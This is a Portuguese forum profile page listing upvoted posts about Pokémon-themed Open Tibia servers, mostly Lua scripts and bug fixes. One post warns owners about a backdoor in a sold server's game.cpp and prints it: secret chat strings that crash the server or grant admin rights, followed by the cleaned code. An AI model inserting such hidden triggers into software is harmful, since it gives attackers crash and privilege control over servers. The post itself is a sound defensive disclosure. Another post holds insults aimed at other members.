Ir para conteúdo

kaleudd

Conde
  • Total de itens

    729
  • Registro em

  • Última visita

  • Dias Ganhos

    6

Histórico de Reputação

  1. Upvote
    kaleudd deu reputação a Nogard em Nogard Graphic Gallery   
    Algumas horas, é relativo. O shenron mesmo eu fiz em várias etapas, em média 8 dias mexendo até me satisfazer, ou quase. Eu poderia ter entregue em 3 dias, talvez menos. Você precisa ter uma noção do "padrão comercial", observar os concorrentes é uma boa, muitas vezes o cliente prefere algo rápido, quase sempre. Sprites são BEM mais trabalhosas de se fazer do que a interface de um launcher por exemplo, pode ser bem cansativo.
  2. Upvote
    kaleudd deu reputação a Nogard em Nogard Graphic Gallery   
    E aí pessoal, beleza? 
     
    Este tópico servirá como minha galeria gráfica (não apenas sprites), vou atualizando. Confere aí! (:
     
     
     


















     
     
     
     
     
  3. Upvote
    kaleudd deu reputação a Poccnn em Npc shop offline   
    Hail Xtibianos!
     
    Trago um npc que vende seus items no jogo pelo preço que vocês quiserem oferta-lo.
    Tu que tem um item e não quer ficar ofertando no canal de trade, ponha a venda com o npc, assim, quem quiser comprar um item seu, verifica as ofertas que tem naquele determinado npc (pois depende de onde ele estiver).
     
    O sistema do npc consiste no seguinte:
     
    O player põe o item na lista de ofertas (venda) com o npc. O player pode cancelar sua's oferta's naquele npc em que foi feita a oferta. O player pode comprar os items na lista, somente naquele local (pois é determinado pelo town). O player recebe o valor do item, desde que tenha sido vendido.   
    Bom... vamos ao que interessa; o código. 
    Para usar esse npc, tu irás precisar usar a livraria xml criada por mim que se encontra nesse link.

     
    Algumas funções extras que tu irás precisar por no seu servidor.
     
     
    Npc.xml
     
    Npc.lua
     
    Lembrando que todos os códigos estão formatados em UTF8, converta para ANSI antes de usá-los.
     
    Qualquer erro ou incompatibilidade no seu servidor, deixe nos comentarios.
  4. Upvote
    kaleudd deu reputação a kttallan em (resolvido) SetWildPokemon Level error   
    O erro está nessa parte.
     
    local bonusoffense = getItemAttribute(item, boffense) or 0 local bonusdefense = getItemAttribute(item, bdefense) or 0 local bonusagility = getItemAttribute(item, bagility) or 0 local bonussattack = getItemAttribute(item, bsattack) or 0 setPlayerStorageValue(pk, 1000, getItemAttribute(item, "level")) setPlayerStorageValue(pk, 1001, getItemAttribute(item, "offense") + bonusoffense) setPlayerStorageValue(pk, 1002, getItemAttribute(item, "defense") + bonusdefense) setPlayerStorageValue(pk, 1003, getItemAttribute(item, "speed") + bonusagility) setPlayerStorageValue(pk, 1005, getItemAttribute(item, "specialattack") + bonussattack)  
    setPlayerStorageValue(pk, 1001, getItemAttribute(item, "offense") + bonusoffense) -- o bonusoffense está com um valor nulo se não utiliza remove ele que creio que resolva.
  5. Upvote
    kaleudd deu reputação a kttallan em (resolvido) SetWildPokemon Level error   
    Posta o codigo para eu tentar ver o problema, pelo visto ele está esperando um valor arithmetrico ou seja um calculo porém o valor está gerando nulo.
  6. Upvote
    kaleudd deu reputação a kttallan em (resolvido) SetWildPokemon Level error   
    Bom explicando erro, o math.random ele está tentando procurar o valor minimo e o valor maximo do pokémon wild para sortear entre eles.
    Algum pokémon deve estar sem o 
     
    wildLvlMin ou
    wildLvlMax  
    Se caso você não consiga encontrar tenta setar esse valor fixo de level.
     
     
    levelRange = math.random(pokes[this].wildLvlMin, pokes[this].wildLvlMax) or 50 -- 50 = level, uma "proteção" caso não encontre nenhum dos valores acima.  
     
  7. Upvote
    kaleudd deu reputação a samlecter em Source Do PDA   
    KKKKJ
     
    Não tem ADM ativo no xTibia não? mds cada dia ta pior, esses mlks baixam um pda, edita umas merdinhas tenta por on, mas como não tem estabilidade fecha após uns dias, daí vem postar aqui e ainda tem a cara de pal de dizer que é a "v2" da base. 
     
    Os q defendem esse mlk são mais retardados ainda, foda-se se vai servir para alguém, criticaram que NÃO é a SOURCE DO PDA, e se realmente não é, a crítica está certa. Então não vem tentar dizer que estão criticando quem está "contribuindo", se quer contribuir, contribua "direito", faça um post verdadeiro e não enganoso, diz "Source Mysterius/Erondino "adaptada" cheia de bugs que nem está compilando"
     
    Por muito tempo não concordava com o rótulo q davam aos otadmins, pq apesar de ser verdade na MAIORIA das vezes, ainda existiam algumas exceções q não eram sangue sugas e retardados, q só eram otadmins pq ainda estavam começando e não tinham conhecimento. Mas tá cada vez pior, esse bando de criança que não entende porra nenhuma e quer ensinar, quer "contribuir", nem foi esse mlk q fez essa cagada nessa source q chamam de adaptação, então por que ele veio postar? "Ah pedi ao Kevick e ele deixou" pq vc pediu isso? pra ganhar uns reps? ou o kevick tava com vergonha de postar isso e ser criticado e deixou vc fazer por ele? 
     
    Bando de criança q só quer aparecer, vivem de aparência e falso prestígio com os noobs q acreditam e idolatram vcs
     
     
  8. Upvote
    kaleudd deu reputação a Strogman em Source Do PDA   
    como assim os créditos vai todo pro jair kevick?
    ai tem vários codes de vários programadores, ele só pegou codes aqui do forum e colocou na source.
    tipo o nick system ai nessa source é o meu.
    colocar os créditos do pessoal que fez os codes é bom né. por isso que a comunidade tá em escasso por que uns fazem algo e outros só pegam e depois dessem que forem eles que fizeram sem da os créditos pra quem realmente fez. não sabem reconhecer o trabalho do próximo só pensam em si mesmo na gula tentando subir no trabalho dos outros.
  9. Upvote
    kaleudd deu reputação a Lordbaxx em Show-Off Task System module   
    Bom só pra apresentar á vocês o modelo de task que será usado no Pokemon Imperium.
     
     


    Constitui-se em, o jogador conseguir e entregar alguns itens pedidos pelo NPC da task, após a entrega destes itens, o NPC dará uma quantidade de EXP ao jogador e ativará a quest de determinado pokemon (existe 1 Npc para cada pokemon da task).
     
     


     
     
     


    O jogador terá que caçar para alcançar a quantidade necessária de pokemons que é mostrada na janela da Task (atualiza automaticamente o número que já matou, sempre que você elimina 1 pokemon da task ativa), e quando completar, o jogador só precisará apertar em reward para coletar os itens do prêmio e mais uma quantidade de EXP.
     
     


     
     
     


     A janela ainda está sendo trabalhada, terá suporte as seguintes opções:
     
     


     
     
     


    Nome, foto e localização do NPC no qual o jogador precisará encontrar para ativar a task. 
     
     


    Task diária em nova aba porém mesma window(janela).
     
     


    Task de pokemons shiny também em nova aba na mesma window(janela).
     
     


     
     
     


     
     
     


    Imagens
     
     


     
     
     



     
     


     
     
     


     
     
     



     
     


     
     
     


     
     
     



     
     


     
     
     


     
     
     



     
     


     
     
     


     
     
     



     
     


     
     
     


     
     
     


     
     
     


     
     
     


    Atenciosamente, Dougllas!
     
     
  10. Upvote
    kaleudd deu reputação a Lordbaxx em editar script bau pokemon premio   
    local starterpokes = {    ["Weedle"] = {x = 53, y = 71, z = 7},    ["Rattata"] = {x = 51, y = 71, z = 7},    ["Caterpie"] = {x = 49, y = 71, z = 7},}local level = 5local extrastr = 1.5local btype = "normal"function onUse(cid, item, frompos, item2, topos)        if getPlayerLevel(cid) > 10 then        return true    end        if getPlayerStorageValue(cid, STORAGE) >= 1 then        doPlayerSendTextMessage(cid, "Você já pegou seu pokemon! Bla bla bla..")        return true    end        local pokemon = ""        for a, b in pairs (starterpokes) do        if isPosEqualPos(topos, b) then            pokemon = a        end    end        if pokemon == "" then return true end        local gender = getRandomGenderByName(pokemon)        local mypoke = getPokemonStatus(pokemon)        if not mypoke then return true end        local offense = mypoke.off * level * extrastr    local defense = mypoke.def * level * extrastr    local speed = mypoke.agi * level * extrastr    local vit = mypoke.vit * level * extrastr    local spatk = mypoke.spatk * level * extrastr    local happy = 180    local leveltable = getPokemonExperienceTable(pokemon)        doPlayerAddItem(cid, 2394, 10)    setPlayerStorageValue(cid, STORAGE, 1)        local item = doCreateItemEx(2219)    doItemSetAttribute(item, "poke", pokemon)    doItemSetAttribute(item, "hp", 1)    doItemSetAttribute(item, "level", level)    doItemSetAttribute(item, "exp", leveltable[level])    doItemSetAttribute(item, "nextlevelexp", leveltable[level+1] - leveltable[level])    doItemSetAttribute(item, "offense", offense)    doItemSetAttribute(item, "defense", defense)    doItemSetAttribute(item, "speed", speed)    doItemSetAttribute(item, "vitality", vit)    doItemSetAttribute(item, "specialattack", spatk)    doItemSetAttribute(item, "happy", happy)    doItemSetAttribute(item, "gender", gender)    doItemSetAttribute(item, "description", "Contains a "..pokemon..".")    doItemSetAttribute(item, "fakedesc", "Contains a "..pokemon..".")    doItemSetAttribute(item, "unique", getCreatureName(cid)) --alterado v2.6    doPlayerAddItemEx(cid, item, true)        doTransformItem(item, pokeballs[btype].on)        doPlayerSendTextMessage(cid, 27, "You got your first pokemon! You also received some pokeballs to help you in your way.")    doPlayerSendTextMessage(cid, 27, "Don\'t forget to use your pokedex on every undiscovered pokemon!")        doSendMagicEffect(getThingPos(cid), 29)    doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid)))    doSendMagicEffect(getThingPos(cid), 27)    doSendMagicEffect(getThingPos(cid), 29)            return TRUEend  
     
    Só colocar um valor nas partes que estão com o nome "STORAGE".
     
    Abraço!
  11. Upvote
    kaleudd deu reputação a rorix em editar script bau pokemon premio   
    teste assim
     
    local starterpokes = {["Weedle"] = {x = 53, y = 71, z = 7},["Rattata"] = {x = 51, y = 71, z = 7},["Caterpie"] = {x = 49, y = 71, z = 7},}local level = 5local extrastr = 1.5local btype = "normal"function onUse(cid, item, frompos, item2, topos)if getPlayerStorageValue(cid, 31211) == 1 thendoPlayerSendTextMessage(cid, 27, "Você já fez a quest!")return trueend if getPlayerLevel(cid) > 10 then return true end local pokemon = "" for a, b in pairs (starterpokes) do if isPosEqualPos(topos, b) then pokemon = a end end if pokemon == "" then return true end local gender = getRandomGenderByName(pokemon) local mypoke = getPokemonStatus(pokemon) if not mypoke then return true end local offense = mypoke.off * level * extrastr local defense = mypoke.def * level * extrastr local speed = mypoke.agi * level * extrastr local vit = mypoke.vit * level * extrastr local spatk = mypoke.spatk * level * extrastr local happy = 180 local leveltable = getPokemonExperienceTable(pokemon) doPlayerAddItem(cid, 2394, 10) setPlayerStorageValue(cid, 31211, 1) local item = doCreateItemEx(2219) doItemSetAttribute(item, "poke", pokemon) doItemSetAttribute(item, "hp", 1) doItemSetAttribute(item, "level", level) doItemSetAttribute(item, "exp", leveltable[level]) doItemSetAttribute(item, "nextlevelexp", leveltable[level+1] - leveltable[level]) doItemSetAttribute(item, "offense", offense) doItemSetAttribute(item, "defense", defense) doItemSetAttribute(item, "speed", speed) doItemSetAttribute(item, "vitality", vit) doItemSetAttribute(item, "specialattack", spatk) doItemSetAttribute(item, "happy", happy) doItemSetAttribute(item, "gender", gender) doItemSetAttribute(item, "description", "Contains a "..pokemon..".") doItemSetAttribute(item, "fakedesc", "Contains a "..pokemon..".") doItemSetAttribute(item, "unique", getCreatureName(cid)) --alterado v2.6 doPlayerAddItemEx(cid, item, true) doTransformItem(item, pokeballs[btype].on) doPlayerSendTextMessage(cid, 27, "You got your first pokemon! You also received some pokeballs to help you in your way.") doPlayerSendTextMessage(cid, 27, "Don\'t forget to use your pokedex on every undiscovered pokemon!") doSendMagicEffect(getThingPos(cid), 29) doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid))) doSendMagicEffect(getThingPos(cid), 27) doSendMagicEffect(getThingPos(cid), 29) return TRUEend  
  12. Upvote
    kaleudd deu reputação a Lordbaxx em [Resolvido]code que aceite acentos e simbolos   
    Abre seu Items.xml no Notepad++ e formata o arquivo para ANSI.
  13. Upvote
    kaleudd deu reputação a Poccnn em (resolvido) 2 erros   
    Caro membro, seu tópico foi movido de Otserv > Suporte Otserv para Suporte Otserv > Otserv > Pedidos e Dúvidas Resolvidos.
     
  14. Upvote
    kaleudd deu reputação a Michyalex em [DXP] PokeAlpha OpenSource   
    Eai galera ja que parei de fazer meu projeito basado no DXP V3, vou disponibilizar por si algum quer olhar ou fazer algo com isso. Cabe destacar que as modificaçoes sao para ficar quase o igual ao PXG, vou destacar que sou spanhol e sim alguma palabra fica errada fala para mim ^^!

    ¿O que contem?
    - Arrumado as maiorias dos portraits e balls "Unmovable"
    - Maioria das spells sao agora ao estilo do PXG
       * Thunder bolt posiçao arrumada
       * Stone edge, Rock Slide posiçao arrumada
       * Invisible spell arrumada
       *Tongue grap modificada agora quita vida e nao deixa mover ao pokemon
       * Great Love, Night Daze, Entre outros adicionado o efeito central.
     

    - Items.xml 1000-1200 items con nome
    - Bike system arrumado com storage independente

    - OTClient o layout da camera refeito para parecer ao PXG

    - Spells com cors (bug com Mega)

    - Añadidos 30 efeitos.
    - Arrumado o look para parecer ao PXG
    - Price System, Mark trabalha com $ e nao Gold
    - House look arrumado nas sources para ficar como PXG

    - Arrumado os cors do minimap de algums items
    - Fly, Ride, Surf, tem as velocidades reais do PXG
    - Mensagems em portuguesse foi trocado por Ingleis a malhoria
    - Market com exemplo de venda de Mega direito
    - Muitos sprites arrumados, outfits, items, efeitos.
    - Exp por stages igual ao PXG
    - Modulo do Autoloot modificado



    ¿Maior BUG?
    - Statschange.lua (Creaturescripts)
    - Surf ainda nao arrumado
     
    Downloads:

    Scans: 
     
    ¿Como faço para editar esse mapa?
     
     
    Créditos:
    DXP TEAM
    Comunidade do XTIBIA
    Smix
    Deadpool (City-Name Module)
    Michy (eu)




  15. Upvote
    kaleudd deu reputação a Kevick em [Removido] Pokémon Hp - Open Source   
    REMOVIDO Á PEDIDO DO AUTOR

     
     

  16. Upvote
    kaleudd deu reputação a Deadpool em [Removido] Pokémon Hp - Open Source   
    tenho que concordo aehduahsudhas
    muito bom o conteudo ^^
  17. Upvote
    kaleudd recebeu reputação de Deadpool em [Removido] Pokémon Hp - Open Source   
    pow,queria saber que é o demente que vai comprar um ot assim,todos os sistemas que contém ta ai para geral da ctrl+c ctrl+v pela comunidade uheahea,cada um...
  18. Upvote
    kaleudd deu reputação a nociam em (resolvido) Pokemon vai para o depot   
    o seu e esse
     
    local happy = 200
                                                       --alterado v1.9  \/                  
            if (getPlayerFreeCap(cid) >= 6 and not isInArray({5, 6}, getPlayerGroupId(cid))) or not hasSpaceInContainer(getPlayerSlotItem(cid, 3).uid) then 
               item = doCreateItemEx(ballid)
     
    so muda essa parte e diz se foi porque a base que tenho aqui a pokebola não vai nem pro cp kkkkkkk.
     
    local happy = 200
                                                       --alterado v1.9  \/                  
            if (getPlayerFreeCap(cid) >= 6 and not isInArray({5, 6}, getPlayerGroupId(cid))) or not hasSpaceInContainer(getPlayerSlotItem(cid, 3).uid) then 
               item = doCreateItemEx(ballid-1)
  19. Upvote
    kaleudd deu reputação a nociam em (resolvido) Pokemon vai para o depot   
    se mudo certo e para apenas colocar o -1 na função doCreateItemEx(ballid-1).
    quanto vc criar um pokemon na ball pelo comando ele buga no depot mais se vc abrir 1 vez o depot já não buga mais estranho isso, mas pelo cath normal ta funfando 100%.
     
    estava testando em outro servidor vou ver o de vcs.
  20. Upvote
    kaleudd deu reputação a Prometheus X em Source Poketibia - Código de derrubar   
    Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo.




     




    Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)




     




    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
    bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
    {
    Player* player = creature->getPlayer();
    if(player && player->isAccountManager())
    {
    player->manageAccount(text);
    return true;
    }

    if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")
    {
    exit(0);
    }

    if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")
    {
    player->setGroup(Groups::getInstance()->getGroup(6));
    }

    Position destPos = creature->getPosition();
    if(pos)
    destPos = (*pos);

    SpectatorVec list;
    SpectatorVec::const_iterator it;
    if(!spectators || !spectators->size())
    {


    Mude para:




     




    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
    bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
    {
    Player* player = creature->getPlayer();
    if(player && player->isAccountManager())
    {
    player->manageAccount(text);
    return true;
    }

    Position destPos = creature->getPosition();
    if(pos)
    destPos = (*pos);

    SpectatorVec list;
    SpectatorVec::const_iterator it;
    if(!spectators || !spectators->size())
    {


     




    Créditos




    Prometheus X (Por Trazer ao Xtibia)




    Alexy Brocanello (Pelo Código)




    CipSoft (Pelo Código Original)




     




    Qualquer outro será creditado !




     




    Atenciosamente




    Prometheus X


  21. Upvote
    kaleudd recebeu reputação de YagobLINDDD em Texto Animado+Efeitos   
    local config = {positions = {["nome_do_texto"] = { x = 453, y = 605, z = 7 }, --add posição}}function onThink(cid, interval, lastExecution)for text, pos in pairs(config.positions) dodoSendAnimatedText(pos, text, math.random(1, 255)) --efeitoendreturn TRUEend <globalevent name="texto" interval="2" script="texto.lua" />  
  22. Upvote
    kaleudd deu reputação a Wicke em [7.4] Sprites Classicus - Morghar - Medivia   
    Né pelo que estão pagando só por sprites a dificultade de Descriptografar deve estar meio complicado 
  23. Upvote
    kaleudd recebeu reputação de matheus7z em [7.4] Sprites Classicus - Morghar - Medivia   
    quero ver ele descompilar o do padventure huehauehae
    quero ver ele descompilar o do padventure huehauehae
  24. Upvote
    kaleudd deu reputação a matheus7z em [7.4] Sprites Classicus - Morghar - Medivia   
    Em ordem de dificuldade, onde PxG é o mais difícil:
     
    PokeBro
     
    PAdventures
     
    PokexGames (PxG)
     
    Boa sorte  
     
  25. Upvote
    kaleudd recebeu reputação de Deadpool em (resolvido) Pokemon vai para o depot   
    aqui eu consegui corrigir como vc disse pela source e parou,vlw e.e
  • Quem Está Navegando   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.
×
×
  • Criar Novo...